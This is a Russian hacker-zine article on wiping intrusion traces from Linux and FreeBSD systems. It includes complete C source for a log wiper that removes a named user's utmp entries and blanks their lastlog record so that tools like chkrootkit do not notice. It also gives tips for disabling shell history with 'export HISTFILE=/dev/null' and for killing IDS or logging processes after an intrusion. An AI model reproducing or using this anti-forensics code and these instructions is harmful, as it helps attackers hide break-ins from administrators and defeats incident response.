---------------------------------------------
#!/usr/share/doc/defaced/3/tandp/logclean.txt
---------------------------------------------
Чистка логов в Linux/FreeBSD
------------------------------------------
[ by defaced staff]
Во многих статьях, описывающих взломы какой-нибудь системы, часто автор пишет
что после проникновения надо заметать следы. Далее обычно следуют слова "качаем
такую-то прогу с сайта, компилим,запускаем...". А исходники просмотреть? А кто
сказал, что прога установится на эту ось? Ну лана, это ещё можно терпеть. Но как
автор описывает "различные логвайперы под UNIX" (в Хакере кажись была статья про
это =)... Такое "описание" выглядит мягко говоря глупо. Автор говорит только как
эту прогу компилить и какие она чистит логи... Минусы конечно он не упомянет. В
общем сейчас я расскажу о затирании логов в linux, freebsd.
Contents:
- utmp/wtmp/lastlog
- messages, auth.log and syslogd configuration
- shells history
- aditional logging toolz
--------------[ part I ]
Итак, сразу стоит сказать, какими прогами используются бинарные логи:
Log file Progs
~~~~~~~~~~~~~ ~~~~~~~~~~~
/var/run/utmp w/who
/var/log/wtmp last
/var/log/lastlog lastlog
А теперь о том, что в них хранится:
UTMP - инфа о пользователях, работающих в данный момент.
WTMP - тоже, что и utmp, но инфа вообще о всех входах в систему с момента
создания файла.
LASTLOG - инфа о последнем входе для каждого пользователя.
Конечно изложил грубовато, но идея я надеюсь ясна. Теперь рассмотрим форматы
этих логов. Для начала UTMP/WTMP (они одного типа) в Linux:
struct utmp
{
short int ut_type;
pid_t ut_pid;
char ut_line[UT_LINESIZE]; /* терминальная линия (i.e. "tty1") */
char ut_id[4];
char ut_user[UT_NAMESIZE]; /* имя юзера */
char ut_host[UT_HOSTSIZE]; /* хост, с которого он зашёл */
struct exit_status ut_exit;
long int ut_session;
struct timeval ut_tv;
int32_t ut_addr_v6[4];
char __unused[20];
};
А вот как это выглядит в FreeBSD:
struct utmp {
char ut_line[UT_LINESIZE]; /* линия */
char ut_name[UT_NAMESIZE]; /* имя юзера */
char ut_host[UT_HOSTSIZE]; /* хост */
int32_t ut_time;
};
Тут надеюсь тоже всё понятно. Нас будут интересовать значения ut_name/ut_user (в
freebsd), ut_line и ut_host. Теперь стоит сказать о структуре lastlog. Вот она в
Linux:
struct lastlog
{
__time_t ll_time;
char ll_line[UT_LINESIZE];
char ll_host[UT_HOSTSIZE];
};
А в фряхе так:
struct lastlog {
int32_t ll_time;
char ll_line[UT_LINESIZE];
char ll_host[UT_HOSTSIZE];
};
Как видно в структурах не указано имя юзера. Просто оно не нужно. Если скажем мы
представим файл lastlog как текстовый, причём каждая строка - запись, то запись
пользователя dude с uid == 31337 будет в строке 31338. Всё просто.
Итак, мы знаем какие файлы используются и какой в них формат. Нас не
интересует как они закодированы. Работать с ними будем просто через read/write:
int l;
struct utmp leet; /* в эту структуру будем считывать записи */
l = open(LOGFILE,O_RDONLY);
while( read(l, leet, sizeof(leet)) >0 ){
...
}
close(l);
Просто загоняем инфу из файла в структуру. А далее можем её обрабатывать:
leet.ut_user='dude'; /* меняем имя пользователя в структуре */
write(f, leet, sizeof(leet)); /* и записываем её */
В конце будет исходник с комментариями. А пока посмотрим как править lasllog. Мы
не можем удялять оттуда записи, т.к. каждая соответствует uid'у юзера. Нам стоит
просто забить значения пробелами (нулями не стоит, т.к. это обычно детектится):
lst.ll_time=0;
strcpy(lst.ll_line," ");
strcpy(lst.ll_host," ");
Рассмотрим всё это на практике (это исходник простого логвайпера):
#define UTMPF "/var/run/utmp" /* тут определяем где лежат логи */
#define LASTLOGF "/var/log/lastlog"
#include <stdio.h>
#include <unistd.h>
#include <utmp.h> /* тут описаны структуры */
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <pwd.h>
#ifdef _FREEBSD_ /* для совместимости с FreeBSD */
#define UTUSR ut_name /* just look `man utmp` */
#else
#include <lastlog.h> /* в линухе структура lastlog в отдельном фале */
#define UTUSR ut_user
#endif
void usage (char *pname);
int main (int argc, char *argv[])
{
int l,n,t;
struct utmp usr; /* структура для обработки utmp/wtmp записей */
struct lastlog lst; /* структура для обработки записей в файле lastlog */
struct passwd *psw;
char cmd[40];
printf(" WIPEr v 1.0 (Linux and FreeBSD support) by JLx\n");
if (argc < 3){
usage(argv[0]);
exit(0);
}
if (argc >= 4){ t=1;}
/************* UTMP **************/
if ((l = open(UTMPF,O_RDONLY)) < 0 ) /* открываем логфайл в режиме read_only */
{
printf("[-] Cant open %s!\n",UTMPF);
exit(-1);
}
n = open("ftmp",O_WRONLY | O_CREAT); /* открываем новый файл, в который будем писать изменённый вариант */
while( read(l,&usr, sizeof(usr)) >0 ) /* вот, заполняем структуру... */
{
/* далее идёт проверка имени юзера и линии терминала... */
if ( (strcmp(usr.UTUSR,argv[1]) == 0) && (strcmp(usr.ut_line,argv[2]) == 0)){
/* если юзер тот, инфу которого мы хотим выдрать... */
if (t==1){ /* ... если нужно проверяем хост */
if (!(strcmp(usr.ut_host,argv[3])==0))
write(n, &usr, sizeof(usr)); /* если хост не наш, то записываем */
}
/* если хост проверять не надо, то
просто не записываем структуру... */
} else {
/* если юзер не тот, которого мы ищем, то записываем без изменений */
write(n,&usr,sizeof(usr));
}
}
close(l);
close(n);
/* теперь у нас файл ftmp, это изменённый /var/run/utmp */
system("cat ftmp > /var/run/utmp; rm ftmp"); /* заменяем старый лог на новый */
printf("[+] utmp done\n");
/* Теперь обработка lastlog... */
if ( (l = open(LASTLOGF,O_RDWR)) < 0 )
{
printf("[-] Cant open %s!\n",LASTLOGF);
exit(-1);
}
psw = getpwnam(argv[1]); /* нам нужен uid пользователя, которого мы хотим спрятать
^^^^^^^^^^^^^ если это не понятно, то `man getpwnam` */
lseek(l, sizeof(lst)*psw->pw_uid, SEEK_SET); /* ищем запись под номером == Uid (смещение 0) */
read(l, &lst, sizeof(lst)); /* и считываем её... */
lst.ll_time=0; /* обнуляем время */
strcpy(lst.ll_line," "); /* а хост и линию забиваем пробелами */
strcpy(lst.ll_host," ");
lseek(l, sizeof(lst)*psw->pw_uid, SEEK_SET); /* снова ищем эту запись... */
write(l, &lst, sizeof(lst)); /* ... и заменяем её новой */
close(l);
sprintf(cmd,"chmod 644 %s",LASTLOGF);
system(cmd);
printf("[+] lastlog done\n"); /* Вот так, всё довольно просто =) */
}
void usage (char *pname)
{
printf("\n Usage: %s user tty <host>\n\n",pname);
}
А вот если бы мы забивали структуры в этих файлах нулями, то нас мог бы засечь
злобный админ. К примеру Chkrootkit имеет утилиты для обнаружения таких записей
в файлах wtmp/lastlog. Вот в основном всё. Я не описал логи wtmpx/utmpx и pacct/
acct т.к. во-первых, они редко используются, а во-вторых, кто заинтересовался,
тот сам найдёт всё необходимое..
--------------[ part II ]
Теперь на очереди текстовые логи. Ну тут проблем быть не должно. Дира, где они
лежат почти всегда - /var/log. Если не понятно как работать с текстовыми файлами
то советую почитать мануалы. Идея их такова - висит syslogd. Мы передаём ему то,
что нужно записать и тип сообщения. А он решает, в какой файл это совать. Он
смотрит в файл /etc/syslog.conf, читает оттуда куда запихивать такое сообшение и
собственно выполняет это. Вот например то, как выглядит syslog.conf в mdk-linux:
# Various entry
auth,authpriv.* /var/log/auth.log
*.*;auth,authpriv.none -/var/log/syslog
user.* -/var/log/user.log
# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none -/var/log/messages
# The authpriv file has restricted access.
authpriv.* /var/log/secure
# Mail logging
mail.=debug;mail.=info;mail.=notice -/var/log/mail/info
mail.=warn -/var/log/mail/warnings
mail.err -/var/log/mail/errors
<skipped>
Тоесть слева стоит тип сообщения, а справа - куда кидать полученные записи. Если
интересно, советую почитать `man syslog.conf`. Просто не реально в одной статье
рассказать об этом. А теперь то, чего все так боятся - перенаправление логов на
другой хост. Чтобы это активизировать, нужно вместо имени файла записать вот
что: @hostname. Имя хоста должно быть прописано в /etc/hosts. Вот пример конфига
к syslog:
*.* @megalohost
Теперь все логи системы идут на хост megalohost. Не очень приятно? Бывают такие
ещё вещи:
# The tcp wrapper loggs with mail.info, we display
# all the connections on tty12
#
mail.=info /dev/tty12
Тут все месаги о подключениях к почтовым демонам идут на терминал 12. Короче тут
совет один - `man syslog.conf`.
--------------[ part III ]
Да, не стоит забывать о таких простых вещах. Будет глупо, если мега-хаксор
всё затрёт, а хистори забудет. Админ умрёт со смеху =) Тут мало что нового можно
сказать. Если шелл - bash, то его хистори можно увидеть в переменной окружения
$HISTFILE. Соответственно, и изменить это довольно просто:
$ export HISTFILE=/dev/null
А если в системе основной шелл - sh/csh/tcsh (обычно в *bsd), то хистори будет в
$HOME/.history.
--------------[ part IV ]
Вот что может представлять серъёзную угрозу, так это дополнительные средства
логирования. Обычно они проверяют системные логи, и как только находят что-либо
подозрительное, они стучат на мыло админу или отправляют логи по сетке. Но вот
что обчно выдаёт такие софтины - они не меняют имя процесса. Тоесть хакер глядит
список процессов и находит там что-то похожее на ids/logging_tool. Сразу же идёт
в ход `kill -9 $PID_OF_FUCKIN_IDS`. И обычно такой софт падает, немного последив
в логах, что потом элементарно затирается.
Вывод: смотри список процессов и проверяй все подозрительные.
_e0f_ [ look include/wiper.c ]